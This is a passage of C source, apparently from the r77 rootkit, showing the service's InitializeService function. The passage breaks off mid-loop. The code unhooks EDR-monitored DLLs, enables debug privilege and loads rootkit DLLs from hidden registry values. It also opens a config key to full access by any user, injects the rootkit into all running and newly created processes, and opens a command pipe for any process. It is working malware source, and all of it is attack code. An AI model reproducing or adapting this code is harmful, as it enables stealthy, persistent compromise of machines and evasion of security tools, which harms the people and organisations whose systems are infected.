Function InitializeService

Service/Service.c:31–96

}

BOOL InitializeService()
{
	// Unhook DLL's that are monitored by EDR.
	Unhook();

	// If the service is already running (e.g. Install.exe was run twice), gracefully terminate it, and continue initialization.
	LPVOID existingServiceDetachAddress;
	if (GetR77Header(&existingServiceDetachAddress) == R77_SERVICE_SIGNATURE)
	{
		// The DetachService() function pointer to the already running r77 service is called.
		// After this function returns, the previous r77 service is completely unloaded.

		((VOID(*)())existingServiceDetachAddress)();
	}

	// Write the r77 header.
	if (!WriteR77Header(R77_SERVICE_SIGNATURE, DetachService)) return FALSE;

	EnabledDebugPrivilege();

	// Get both r77 DLL's.
	HKEY key;
	if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_QUERY_VALUE, &key) != ERROR_SUCCESS ||
		RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, NULL, &RootkitDll32Size) != ERROR_SUCCESS ||
		RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, NULL, &RootkitDll64Size) != ERROR_SUCCESS) return FALSE;

	RootkitDll32 = NEW_ARRAY(BYTE, RootkitDll32Size);
	RootkitDll64 = NEW_ARRAY(BYTE, RootkitDll64Size);

	if (RegQueryValueExW(key, HIDE_PREFIX L"dll32", NULL, NULL, RootkitDll32, &RootkitDll32Size) != ERROR_SUCCESS ||
		RegQueryValueExW(key, HIDE_PREFIX L"dll64", NULL, NULL, RootkitDll64, &RootkitDll64Size) != ERROR_SUCCESS) return FALSE;

	RegCloseKey(key);

	// Create HKEY_LOCAL_MACHINE\SOFTWARE\$77config and set DACL to allow full access by any user.
	InstallR77Config();

	// When the NtResumeThread hook is called, the r77 service is notified through a named pipe connection.
	// This will trigger the following callback and the child process is injected.
	// After it's injected, NtResumeThread is executed in the parent process.
	// This way, r77 is injected before the first instruction is run in the child process.
	ChildProcessListenerThread = ChildProcessListener(ChildProcessCallback);

	// In addition, check for new processes every 100 ms that might have been missed by child process hooking.
	// This is particularly the case for child processes of protected processes (such as services.exe), because protected processes cannot be injected.
	// In the first iteration, the callback is invoked for every currently running process, making this the initial injection into all processes.
	NewProcessListenerThread = NewProcessListener(NewProcessCallback);

	// Open a named pipe to receive commands from any process.
	ControlPipeListenerThread = ControlPipeListener(ControlCallback);

	// There are no implications when injecting a process twice.
	// If the R77_SIGNATURE is already present in the target process, the newly injected DLL will just unload itself.

	// Perform startup of custom files.
	PR77_CONFIG config = LoadR77Config();

	for (DWORD i = 0; i < config->StartupFiles->Count; i++)